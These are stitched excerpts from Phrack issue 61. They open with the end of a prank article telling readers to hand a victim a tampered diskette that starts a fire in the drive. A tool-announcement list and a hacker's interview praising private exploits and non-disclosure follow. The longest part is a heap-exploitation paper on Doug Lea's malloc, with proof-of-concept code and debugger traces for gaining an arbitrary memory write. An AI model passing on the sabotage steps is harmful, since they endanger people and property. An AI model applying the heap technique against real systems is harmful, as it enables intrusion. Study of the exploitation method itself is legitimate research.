‑ carefully put the diskette back together and use the nail plish to seal is shut.

How to use it:

Give it to someone you want to give a fright and stuff up their computer a little. Tell them its got something they are interested in on it. When they put it in their drive the drive head attempts to read the disk which causes a small fire ‑ enough heat to melt the disk drive and stuff the head up!

^^Phrick‑A‑Phrack^^

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Toolz Armory

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ T O O L Z A R M O R Y ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

This new section, Phrack Toolz Armory, is dedicated to tool annoucements. We will showcast selected tools of relevance to the computer underground which have been released recently.

Drop us a mail if you develop something kewl that you think is worth of being mentioned in #62.

Content:

1 ‑ Scapy, Interactive Packet Manipulation Program by Biondi 2 ‑ ShellForge, Shellcode Builder by Biondi 3 ‑ objobf : burneye2 IA32 object file obfuscator by team‑teso 4 ‑ ELFsh, ELF objects manipulation scripting langage by Devhell labs. 5 ‑ Packit, Network injection, capture and auditing by D. Bounds

‑‑‑‑[ 1 ‑ Scapy : interactive packet manipulation program

URL : http://www.cartel‑securite.fr/pbiondi/scapy.html

Author : biondi@cartel‑securite.fr

Comment : Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery tool, and packet sniffer. It provides classes to interactively create packets or sets of packets, manipulate them, send them over the wire, sniff other packets from the wire, match answers and replies, and more. Interaction is provided by the Python interpreter, so Python programming structures can be used (such as variables, loops, and functions). Report modules are possible and easy to make. It is able to do about the same things as ttlscan, nmap, hping, queso, p0f, xprobe, arping, arp‑sk, arpspoof, firewalk, irpas, tethereal, tcpdump, etc.

Here are some techniques that you can use it for : port, protocol, network scans, arp cache poisonning, dns poisonning, DoSing, nuking, sniffing etherleaking, icmpleaking, firewalking, NAT discovery, fingerprinting, etc.

‑‑‑‑[ 2 ‑ ShellForge : shellcode builder

URL : http://www.cartel‑securite.fr/pbiondi/shellforge.html

Author : biondi@cartel‑securite.fr

Comment : ShellForge is a kit that builds shellcodes from C. It is inspired from Stealth's Hellkit. This enables to create very complex shellcodes (see example which scans ports). C header files are included that provide macros to substitute libc calls with direct system calls and an Python script automates compilation, extraction, encoding and tests.

‑‑‑‑[ 3 ‑ objobf : burneye2 IA32 object file obfuscator

URL : http://www.team‑teso.net/projects/objobf/

Author : teso@team‑teso.net

Comment : Objobf is part of the burneye2 binary security suite. It is an ELF relocatable object file obfuscation program. While still a beta release it works well on smaller object files and can significantly increase the time for manual decompilation. Within the downloadable tarball there are some examples. Besides obfuscation it does limited code and dataflow analysis and displays them in high quality graphs, using the free xvcg or the propietary aiSee graphing tools. Full sourcecode of the objobf tool is available at the above URL.

‑‑‑‑[ 4 ‑ ELFsh 0.51b2 portable : ELF objects manipulation scripting language

URL : http://elfsh.devhell.org

http://elfsh.segfault.net (mirror)

Author : elfsh@devhell.org

Comments : ELFsh is an interactive and scriptable ELF machine to play with executable files, shared libraries and relocatable ELF32 objects. It is useful for daily binary manipulations such as on‑the‑fly patching, embedded code injection, and binary analysis in research fields such as reverse engineering, security auditing and intrusion detection. ELFsh is based on libelfsh, so that the API is really useable in opensource projects. This version works on 2 architectures (INTEL, SPARC) and 4 OS (Linux, FreeBSD, NetBSD, Solaris).

‑‑‑‑[ 5 ‑ Packit : Network injection, capture and auditing tool

URL : http://packit.sf.net

Author : Darren Bounds <dbounds@intrusense.com>

Comments : Packit (Packet toolkit) is a network auditing tool. Its value is derived from its ability to customize, inject, monitor, and manipulate IP traffic. By allowing you to define (spoof) nearly all TCP, UDP, ICMP, IP, ARP, RARP, and Ethernet header options, Packit can be useful in testing firewalls, intrusion detection/prevention systems, port scanning, simulating network traffic, and general TCP/IP auditing. Packit is also an excellent tool for learning TCP/IP. It has been successfully compiled and tested to run on FreeBSD, NetBSD, OpenBSD, MacOS X and Linux.

Phrack Prophile on digit

phrack.org:~# cat .bash_history

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x04 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P R O P H I L E O N D I G I T ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑=[ Specification

Handle: DiGiT

AKA: digit, eskimo, icemonkey Handle origin: its not a funny story catch him: digit@security.is

Age of your body: 22

Produced in Reykjavik, Iceland

Height & Weight: 192cm, 80kg Urlz: none

Computers: 2 laptops, 3 intel machines, indigo II, and a sparc station

Member of: smapika international Projects: Mostly just stuff for my work and school related things.

|=‑‑‑=[ Favorite things

Women: brunettes, blondes, and I prefer they have charisma, ambition, independence, intelligence, sense of humor Cars: German of course ;>

Foods: Italian, asian

Alcohol: beer, vodka/coke

Music: trance/techno, rock, classical Movies: Pianist, godfather, Dune, LOTR, Bad boy bubby, Happiness Books & Authors:

Urls:

I like: Achiving my goals, honesty, integrity, wachyness I dislike: Waking up very early in the morning, constant rain, stuck in an office all day, fake people

|=‑‑‑=[ Life in 3 sentences

No fear. Never give up. Never surrender.

|=‑‑‑=[ Passions | What makes you tick

I like to set myself some sort of goal and try to achieve that within a certain amount of time. Being able to be my own boss is probably my greatest passion. I don't like to take orders and I value my independence greatly and the ability to do whatever I want is pretty important to me.

In the past I basically quit everything to do almost nothing but computers/inet/hacking. I did that since I was around 16 until I was 20. I audited code around the clock, hacking, wrote exploits, and chatted with my friends on irc from dusk till dawn basically.

The biggest experience for me was probably meeting the people that I did and the influence they had on me to improve myself. I probably have meeting antilove/RawPower and crazy‑b at the top of my list with regards to that and they both really influenced me a lot and they probably provided me with my greatest experience with regards to hacking.

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

None much more than any other. Whenever I found some bug or something that I knew was unknown and the satisfaction of exploiting it was a lot of fun.

‑‑=[ Memorable Experiences

I will never forget getting run over by a bus when I was 14 and having to stay in a hospital for 3 months and the frequent trips for another year afterwards pretty much is something I will never forget. Also the fact that the longest strike of Icelandic highschool teachers in icelandic history was happening at the exact same time I was stuck in a bed in a hospital.

Installing my first Linux system(back in '94 i think) and thinking that the installation floppy shell prompt from the slackware distro was basically a full installation of slackware ;> I had hardly any previous experience with Linux at the time.

Spending an absurd amount of time at my computer doing crazy stuff for no other reason other than to get the get the best rush imaginable.

Meeting crazy‑b for the first time on the same system we were both hacking and then deciding to meet on irc and becoming friends in the process.

When crazy‑b had to go into the norwegian army he wrote a small program that was a rudimentary irc client that piped input from an irc channel to a script that sent an sms to his phone with the input and also him being able to send an email to his address that piped the content of the mail to the irc channel. This way he could still irc from his mobile phone despite being in the army ;>

Meeting the great antilove back in '97 and getting some private samba warez ;>

Having antilove visit Iceland twice and doing lots of cool stuff with him like rollerblading, hunting for smapika, acting stupid, him teaching me how to lockpick, finding new bugs, writing exploits, teaching me how to bluebox, etc.

Totally destroying my car when me and antilove were driving to a kfc in 2001 because some girl ran a red light at about 80km/h in the morning and then laughing about it the entire day for some reason.

All the security.is weekends with the exploits we wrote and the bugs that we found together and with the trademark security.is hamburgers as made by portal.

Having lots of fun with mikasoft and ga when they visited Iceland for new years a few years ago and especially when mikasoft was teaching yoga at a new years eve dinner my family was throwing. Also the duck liver pat was disgusting.

Going to France with Icelandic friends and meeting a lot of hackers in Paris and having like 10 guys sleeping in the smallest room you could imagine. Then taking a cool train trip from Paris to montpellier and meeting a lot of other hackers and just totally invading montpellier and taking over an internet cafe for a week ;> Also hanging out at the beech with the amazingly cool french guys and starting a fire and drinking beer and listening to good music.

Going to the club La Dune on our FIRST night in montpellier with all the french hackers/etc and buying a lot of champagne for everyone and antilove and nitro buying a ton of vodka for a group of like 20 people and just partying the entire night and watching all the non french people make total asses of themselves.

Same night at La dune I will never forget witnessing Candypimp going beserk after drinking way too much and trying to jump into the ocean and then disapeering. we called the police to search for an 'insane' drunk Icelandic person that couldn't speak english anymore and who thought he was in his home city of Akureyri and not 50km away from montpellier and probably even didn't know where we were staying!

JimJones was really drunk that night too and he passed out on some tree before waking up again and deciding to take a piss. He went into some ditch and somehow he managed to piss all over himself! If I remember correctly me, nitro, and antilove had to remove his clothes that night because he was too drunk to do it himself. He was then called pissman for the duration of the trip ;>

Going to Las vegas with Starcon for blackhat and defcon and actually PAYING for blackhat but I only went to 1 speech(halvars) because my brother took the time to come down from Seattle to visit me.

Going to defcon and seeing how amazingly commercial and fake it really is. Just look at the shit being sold there and all those stupid t‑shirt stands.

The coolest thing about defcon was the K2 party where a lot of people were hanging out and it was a very memorable night and I had nice talks with a lot of cool people.

A recent jimjones visit to Iceland where we really didn't do anything except relax and drink beer and eat some BBQ. We also enjoyed a very nice viewing of bad boy bubby which I recommend to anyone that wants a good laugh and some insight into the world of jimjones(based on his lifes story).

|=‑‑‑=[ Open Interview

[can give as much detailed answers here as you like]

Q: When did you start to play with computers?

A: I was probably around 12 years old when I got my first real computer.

Q: When did you had your first contact to the 'scene'?

A: Boy... I guess it is probably sometime in 1995 and I got involved with some "hackers" doing some questionable things ;> I think I started off by joining #hack on IRCnet and also #shells on efnet(ehrm! ;>)

Q: When did you for your first time connect to the internet?

A: Was at my school when I was probably around 13 years old and we had a 2400 baud modem and some old dial up program called kermit, i think, that we used to call some line at the Icelandic university. It was basically just a direct connection to a hp‑ux box and someone tought me how to use ircii and so basically my first experience with the Internet was also my first time with irc.

Q: What other hobbies do you have?

A: I like to do stuff with my friends,go see movies, fish, read, go out for drinks, and just anything that comes up.

Q: ...and how long did it take until you joined irc? Do you remember the first channel you joined?

A: Again this was not very far between since I started irc pretty much the same time. I believe the first channel I joined was #iceland.

Q: What's your architecture / OS of choice?

A: Im so used to intel so I really can't pick anything else and Linux is still my preferred OS although i have netbsd here somewhere.

Q: What do you think about anti.security.is and non‑disclosure? A: anti security was a good idea but ultimately it was a failure. The reason it failed was that the people that supported none‑disclosure and took part in antisec discussions were constantly arguing amongst themselves about a lot of stuff some of which was for good reasons but also stuff that was totally out there and eventually it lead to antisec dying.

I personally believe that none‑disclosure is the way to go and I have believed that for some time now. I don't judge people that disclose because I remember disclosing bugs/exploits at one point and so I am not really in a position to flame people that continue to do so.

I mean antisec also had some stupid information in some areas specifcally about the true reasons behind antisec were not to create some greater security in the world or something like that which was mentioned in the FAQ and we took a lot of crap for. It was to keep security research where it belongs, with those that actually did it and at most a small tight knit group. That basically meant that people that found bugs, wrote exploits, and hacked wanted to keep their exploits/research private so that they had some nice private warez for some time ;>

Full disclosure is for equally selfish reasons because it really boils down to two things: fame and money. People think, rightly so, that by releasing bugs or exploits that they become recognized among their peers and that might eventually lead to a job in security or something like that. People that say they release bugs/exploits for the good of the world or something like that are full of shit.

Q: What do you think about the right of other 'research' groups to forbid other organizations the use of their exploits ("Copyright on exploits")? A: Seriously who would care about a copyright header on some exploit? People would use it anyways.

Q: What do you thing about full‑disclosure. Is it important or dangerous? A: I know I don't like it and there are a lot of good reasons why it sucks. It ruins bugs! ;> And there are some negative "world issues" because every hacker that wants to make a name for himself will try to write an exploit for it and subsequently release it. Maybe he doesn't release directly to BUGTRAQ but he gives it to lots of "friends" which leak it of course and soon enough its everywhere.

What happens next is that every script kiddie and some more advanced script kiddies will use the exploit and deface sites, ruin stuff, and then soon a worm will appear. I do not personally have anything against those things per se but I'm sure a lot of people do. If the vulnerability is unknown or kept private such things would not happen.

Full disclosure can definetly be really dangerous and we all know that the people that discover bugs in software aren't on some quest to secure software for the good of the world. They do it for themselves. Also why should hackers do the job for software companies and even if they publish they risk getting sued or something? I also hate all those full disclosure policies that say you need to give a vendor a month or something before publishing and all the other stupid rules. My advice: don't disclose ‑ avoid the hassle.

I do however agree to some of the arguments about the necessity of full disclosure. I can't remember any right now so forget that but ultimately full disclosure of any vulnerability is the fuel the drives the information security companies that don't care about anything except their bottom line.

Q: If you see or hear about various protection meassures against hackers such as grsecurity, PaX, Owl or strong encryption (SSH, SSL or IPSec) do you think hacking will still be possible in the future? What kind of vulnerabilities will people focus on in the future?

A: If we assume that all these programs are successful in stopping most buffer overflow attacks and it has become 'impossible' to evade these programs then just new types of vulnerabilities will be discovered. Logic bugs in programs are just as dangerous as buffer overflows and so hacking will of course be possible in the future the only thing that will change are the vulnerabilities and the methods.

Q: How do you feel when yet another XSS vulnerability hits the media? (Do you have a regex covering XSS postings in your spam filter?) A: blah

Q: What will hacking in the future look like? More complicated or easier? A: no idea.

Q: You have been in the scene for quite a while. If you look back, what was the worst thing that happened to the scene? What was the best that happened?

A: This "scene" always comes up. I never followed any specific scene or anything. I was just chatting with my friends and hacking with them and that was about it. Although I guess the commericialization of everything in the scene was probably the worst thing that happened. Didn't bugtraq get sold for millions of dollars? A mailing list! And companies buying exploits how low can u get?

Q: If you could turn the clock backwards, what would you do different in your young life ?

A: My young life? Portal calls me grandpa. I guess I would go back a few years into the past and avoid losing contact with my old friends.

=‑‑‑=[ One word comments

[give a 1‑word comment to each of the words on the left]

Digital Millennium Copyright Act (DMCA): blabla

security.is : sleeping

Georges. W. BUSH : war

Companies buying exploits from hackers : silly

IRC : burp

Hacker meetings : colorful

Full Disclosure Policy : pseudo anti.security.is : dead

Whitehats : dingdong

|=‑‑‑=[ Any suggestions/comments/flames to the scene and/or specific people?

Do what you want to do and don't let anyone control you.

|=‑‑‑=[ The future of the computer underground

What is the computer underground anyways? People talk about it as if it were some very formal and controlled thing or something. The computer underground as I understand it basically just consists of various groups and places people hang out at and talk and do stuff together in small seperate groups. I have no idea where it is gona go in the future.

|=‑‑‑=[ Shoutouts & Greetings

I wana send a big hello to:

security.is, antilove(miss u bro), crazy‑b(beware of hermaphrodites), cleb(rest in peace man), old ADM pals, JimJones, old #hax guys! stealth, sk8(freesk8.org), mikasoft, ga, ace24, ig‑88, ghettodxm, scut, horizon, duke, cheez, starcon, lkm, nitro, bawd, wtf, kewl, joey, Synner/m0nty/Kod/Jackal(crazy greeks) and everyone of my other old friends that I haven't talked to in years.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Advanced Doug Lea's malloc exploits

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x06 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Advanced Doug lea's malloc exploits ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ jp <jp@corest.com> ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Abstract

2 ‑ Introduction

3 ‑ Automating exploitation problems

4 ‑ The techniques

4.1 ‑ aa4bmo primitive

4.1.1 ‑ First unlinkMe chunk

4.1.1.1 ‑ Proof of concept 1: unlinkMe chunk 4.1.2 ‑ New unlinkMe chunk

4.2 ‑ Heap layout analysis

4.2.1 ‑ Proof of concept 2: Heap layout debugging 4.3 ‑ Layout reset ‑ initial layout prediction ‑ server model 4.4 ‑ Obtaining information from the remote process 4.4.1 ‑ Modifying server static data ‑ finding process' DATA 4.4.2 ‑ Modifying user input ‑ finding shellcode location 4.4.2.1 ‑ Proof of concept 3 : Hitting the output 4.4.3 ‑ Modifying user input ‑ finding libc's data 4.4.3.1 ‑ Proof of concept 4 : Freeing the output 4.4.4 ‑ Vulnerability based heap memory leak ‑ finding libc's DATA 4.5 ‑ Abusing the leaked information

4.5.1 ‑ Recognizing the arena

4.5.2 ‑ Morecore

4.5.2.1 ‑ Proof of concept 5 : Jumping with morecore 4.5.3 ‑ Libc's GOT bruteforcing

4.5.3.1 ‑ Proof of concept 6 : Hinted libc's GOT bruteforcing 4.5.4 ‑ Libc fingerprinting

4.5.5 ‑ Arena corruption (top, last remainder and bin modification) 4.6 ‑ Copying the shellcode 'by hand'

5 ‑ Conclusions

6 ‑ Thanks

7 ‑ References

Appendix I ‑ malloc internal structures overview

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 1. Abstract

This paper details several techniques that allow more generic and reliable exploitation of processes that provide us with the ability to overwrite an almost arbitrary 4 byte value at any location.

Higher level techniques will be constructed on top of the unlink() basic technique (presented in MaXX's article [2]) to exploit processes which allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic memory allocator).

unlink() is used to force specific information leaks of the target process memory layout. The obtained information is used to exploit the target without any prior knowledge or hardcoded values, even when randomization of main object's and/or libraries' load address is present.

Several tricks will be presented along different scenarios, including: * special chunks crafting (cushion chunk and unlinkMe chunk) * heap layout consciousness and analysis using debugging tools * automatically finding the injected shellcode in the process memory * forcing a remote process to provide malloc's internal structures addresses

* looking for a function pointer within glibc

* injecting the shellcode into a known memory address

The combination of these techniques allows to exploit the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double free' [7] vulnerabilities in a fully automated way (without hardcoding any target based address or offset), for example.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 2. Introduction

Given a vulnerability which allows us to corrupt malloc's internal structures (i.e. heap overflow, double free(), etc), we can say it 'provides' us with the ability to perform at least an 'almost arbitrary 4 bytes mirrored overwrite' primitive (aa4bmo from now on).

We say it's a 'mirrored' overwrite as the location we are writing at minus 8 will be stored in the address given by the value we are writing plus 12. Note we say almost arbitrary as we can only write values that are writable, as a side effect of the mirrored copy.

The 'primitive' concept was previously introduced in the 'Advances in format string exploitation' paper [4] and in the 'About exploits writing' presentation [5].

Previous work 'Vudo ‑ An object superstitiously believed to embody magical power' by Michel 'MaXX' Kaempf [2] and 'Once upon a free()' [3] give fully detailed explanations on how to obtain the aa4bmo primitive from a vulnerability. At [8] and [9] can be found the first examples of malloc based exploitation.

We'll be using the unlink() technique from [2] as the basic lower level mechanism to obtain the aa4bmo primitive, which we'll use through all the paper to build higher level techniques.

malloc higher vulnerability ‑> structures ‑> primitive ‑> level corruption techniques

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

heap overflow unlink() freeing the output double free() ‑> technique ‑> aa4bmo ‑> hitting the output

... cushion chunk

This paper focuses mainly on the question that arises after we reach the aa4bmo primitive: what should we do once we know a process allows us to overwrite four bytes of its memory with almost any arbitrary data? In addition, tips to reach the aa4bmo primitive in a reliable way are explained.

Although the techniques are presented in the context of malloc based heap overflow exploitation, they can be employed to aid in format string exploits as well, for example, or any other vulnerability or combination of them, which provide us with similar capabilities.

The research was focused on the Linux/Intel platform; glibc‑2.2.4, glibc‑2.2.5 and glibc‑2.3 sources were used, mainly the file malloc.c (an updated version of malloc can be found at [1]). Along this paper we'll use 'malloc' to refer to Doug Lea's malloc based implementation.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 3. Automating exploitation problems

When trying to answer the question 'what should we do once we know we can overwrite four bytes of the process memory with almost any arbitrary data?', we face several problems:

A] how can we be sure we are overwriting the desired bytes with the desired bytes?

As the aa4bmo primitive is the underlying layer that allows us to implement the higher level techniques, we need to be completely sure it is working as expected, even when we know we won't know where our data will be located. Also, in order to be useful, the primitive should not crash the exploited process.

B] what should we write?

We may write the address of the code we intend to execute, or we may modify a process variable. In case we inject our shellcode in the process, we need to know its location, which may vary together with the evolving process heap/stack layout.

C] where should we write?

Several known locations can be overwritten to modify the execution flow, including for example the ones shown in [10], [11], [12] and [14]. In case we are overwriting a function pointer (as when overwriting a stack frame, GOT entry, process specific function pointer, setjmp/longjmp, file descriptor function pointer, etc), we need to know its precise location. The same happens if we plan to overwrite a process variable. For example, a GOT entry address may be different even when the source code is the same, as compilation and linking parameters may yield a different process layout, as happens with the same program source code compiled for different Linux distributions.

Along this paper, our examples will be oriented at overwriting a function pointer with the address of injected shellcode. However, some techniques also apply to other cases.

Typical exploits are target based, hardcoding at least one of the values required for exploitation, such as the address of a given GOT entry, depending on the targeted daemon version and the Linux distribution and release version. Although this simplifies the exploitation process, it is not always feasible to obtain the required information (i.e. a server can be configured to lie or to not disclose its version number). Besides, we may not have the needed information for the target. Bruteforcing more than one exploit parameter may not always be possible, if each of the values can't be obtained separately.

There are some well known techniques used to improve the reliability (probability of success) of a given exploit, but they are only an aid for improving the exploitation chances. For example, we may pad the shellcode with more nops, we may also inject a larger quantity of shellcode in the process (depending on the process being exploited) inferring there are more possibilities of hitting it that way. Although these enhancements will improve the reliability of our exploit, they are not enough for an exploit to work always on any vulnerable target. In order to create a fully reliable exploit, we'll need to obtain both the address where our shellcode gets injected and the address of any function pointer to overwrite.

In the following, we discuss how these requirements may be accomplished in an automated way, without any prior knowledge of the target server. Most of the article details how we can force a remote process to leak the required information using aa4bmo primitive.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 4. The techniques

‑‑] 4.1 aa4bmo primitive

‑‑] 4.1.1 First unlinkMe chunk

In order to be sure that our primitive is working as expected, even in scenarios where we are not able to fully predict the location of our injected fake chunk, we build the following 'unlinkMe chunk':

‑4 ‑4 what where‑8 ‑11 ‑15 ‑19 ...

|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑

sizeB sizeA FD BK

‑‑‑‑‑‑‑‑‑‑‑ nasty chunk ‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

X)

We just need a free() call to hit our block after the (X) point to overwrite 'where' with 'what'.

When free() is called the following sequence takes place:

‑ chunk_free() tries to look for the next chunk, it takes the chunk's size (<0) and adds it to the chunk address, obtaining always the sizeA of the 'nasty chunk' as the start of the next chunk, as all the sizes after the (X) are relative to it.

‑ Then, it checks the prev_inuse bit of our chunk, but as we set it (each of the sizes after the (X) point has the prev_inuse bit set, the IS_MMAPPED bit is not set) it does not try to backward consolidate (because the previous chunk 'seems' to be allocated).

‑ Finally, it checks if the fake next chunk (our nasty chunk) is free. It takes its size (‑4) to look for the next chunk, obtaining our fake sizeB, and checks for the prev_inuse flag, which is not set. So, it tries to unlink our nasty chunk from its bin to coalesce it with the chunk being freed.

‑ When unlink() is called, we get the aa4bmo primitive. The unlink() technique is described in [2] and [3].

‑‑] 4.1.1.1 Proof of concept 1: unlinkMe chunk

We'll use the following code to show in a simple way the unlinkMe chunk in action:

#define WHAT_2_WRITE 0xbfffff00

#define WHERE_2_WRITE 0xbfffff00

#define SZ 256

#define SOMEOFFSET 5 + (rand() % (SZ‑1))

#define PREV_INUSE 1

#define IS_MMAP 2

int main(void){

unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = WHAT_2_WRITE;

unlinkMe[i++] = WHERE_2_WRITE‑8;

for(;i<SZ;i++){

unlinkMe[i] = ((‑(i‑1) * 4) & ~IS_MMAP) | PREV_INUSE ; }

free(unlinkMe+SOMEOFFSET);

return 0;

}

Breakpoint 3, free (mem=0x804987c) at heapy.c:3176

if (mem == 0) /* free(0) has no effect */

3181 p = mem2chunk(mem);

3185 if (chunk_is_mmapped(p)) /* release mmapped memory. */

We did not set the IS_MMAPPED bit.

3193 ar_ptr = arena_for_ptr(p);

3203 (void)mutex_lock(&ar_ptr‑>mutex);

3205 chunk_free(ar_ptr, p);

After some checks, we reach chunk_free().

(gdb) s

chunk_free (ar_ptr=0x40018040, p=0x8049874) at heapy.c:3221

Let's see how does our chunk looks at a random location...

(gdb) x/20x p

0x8049874: 0xfffffd71 0xfffffd6d 0xfffffd69 0xfffffd65 0x8049884: 0xfffffd61 0xfffffd5d 0xfffffd59 0xfffffd55 0x8049894: 0xfffffd51 0xfffffd4d 0xfffffd49 0xfffffd45 0x80498a4: 0xfffffd41 0xfffffd3d 0xfffffd39 0xfffffd35 0x80498b4: 0xfffffd31 0xfffffd2d 0xfffffd29 0xfffffd25

We dumped the chunk including its header, as received by chunk_free().

3221 INTERNAL_SIZE_T hd = p‑>size; /* its head field */

3235 sz = hd & ~PREV_INUSE;

(gdb) p/x hd

$5 = 0xfffffd6d

(gdb) p/x sz

$6 = 0xfffffd6c

3236 next = chunk_at_offset(p, sz);

3237 nextsz = chunksize(next);

Using the negative relative size, chunk_free() gets the next chunk, let's see which is the 'next' chunk:

(gdb) x/20x next

0x80495e0: 0xfffffffc 0xfffffffc 0xbfffff00 0xbffffef8 0x80495f0: 0xfffffff5 0xfffffff1 0xffffffed 0xffffffe9 0x8049600: 0xffffffe5 0xffffffe1 0xffffffdd 0xffffffd9 0x8049610: 0xffffffd5 0xffffffd1 0xffffffcd 0xffffffc9 0x8049620: 0xffffffc5 0xffffffc1 0xffffffbd 0xffffffb9

(gdb) p/x nextsz

$7 = 0xfffffffc

It's our nasty chunk...

3239 if (next == top(ar_ptr)) /* merge with top */

3278 islr = 0;

3280 if (!(hd & PREV_INUSE)) /* consolidate backward */

We avoid the backward consolidation, as we set the PREV_INUSE bit.

3294 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */

But we force a forward consolidation. The inuse_bit_at_offset() macro adds nextsz (‑4) to our nasty chunk's address, and looks for the PREV_INUSE bit in our other ‑4 size.

3296 sz += nextsz;

3298 if (!islr && next‑>fd == last_remainder(ar_ptr)) 3306 unlink(next, bck, fwd);

unlink() is called with our supplied values: 0xbffffef8 and 0xbfffff00 as forward and backward pointers (it does not crash, as they are valid addresses).

next = chunk_at_offset(p, sz);

3315 set_head(p, sz | PREV_INUSE);

3316 next‑>prev_size = sz;

3317 if (!islr) {

3318 frontlink(ar_ptr, p, sz, idx, bck, fwd);

fronlink() is called and our chunk is inserted in the proper bin.

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049a40 ‑ top size = 0x05c0

bin 126 @ 0x40018430

free_chunk @ 0x80498d8 ‑ size 0xfffffd64

The chunk was inserted into one of the bigger bins... as a consequence of its 'negative' size.

The process won't crash if we are able to maintain this state. If more calls to free() hit our chunk, it won't crash. But it will crash in case a malloc() call does not find any free chunk to satisfy the allocation requirement and tries to split one of the bins in the bin number 126, as it will try to calculate where is the chunk after the fake one, getting out of the valid address range because of the big 'negative' size (this may not happen in a scenario where there is enough memory allocated between the fake chunk and the top chunk, forcing this layout is not very difficult when the target server does not impose tight limits to our requests size).

We can check the results of the aa4bmo primitive:

(gdb) x/20x 0xbfffff00

!!!!!!!!

0xbfffff00: 0xbfffff00 0x414c0065 0x653d474e 0xbffffef8 0xbfffff10: 0x6f73692e 0x39353838 0x53003531 0x415f4853 0xbfffff20: 0x41504b53 0x2f3d5353 0x2f727375 0x6562696c 0xbfffff30: 0x2f636578 0x6e65706f 0x2f687373 0x6d6f6e67 0xbfffff40: 0x73732d65 0x73612d68 0x7361706b 0x4f480073

If we add some bogus calls to free() in the following way:

for(i=0;i<5;i++) free(unlinkMe+SOMEOFFSET);

we obtain the following result for example:

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049ac0 ‑ top size = 0x0540

bin 126 @ 0x40018430

free_chunk @ 0x8049958 ‑ size 0x8049958

free_chunk @ 0x8049954 ‑ size 0xfffffd68

free_chunk @ 0x8049928 ‑ size 0xfffffd94

free_chunk @ 0x8049820 ‑ size 0x40018430

free_chunk @ 0x80499c4 ‑ size 0xfffffcf8

free_chunk @ 0x8049818 ‑ size 0xfffffea4

without crashing the process.

‑‑] 4.1.2 New unlinkMe chunk

Changes introduced in newer libc versions (glibc‑2.3 for example) affect our unlinkMe chunk. The main problem for us is related to the addition of one flag bit more. SIZE_BITS definition was modified, from:

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)

to:

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)

The new flag, NON_MAIN_ARENA is defined like this:

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained

from a non‑main arena. This is only set immediately before handing the chunk to the user, if necessary. */

#define NON_MAIN_ARENA 0x4

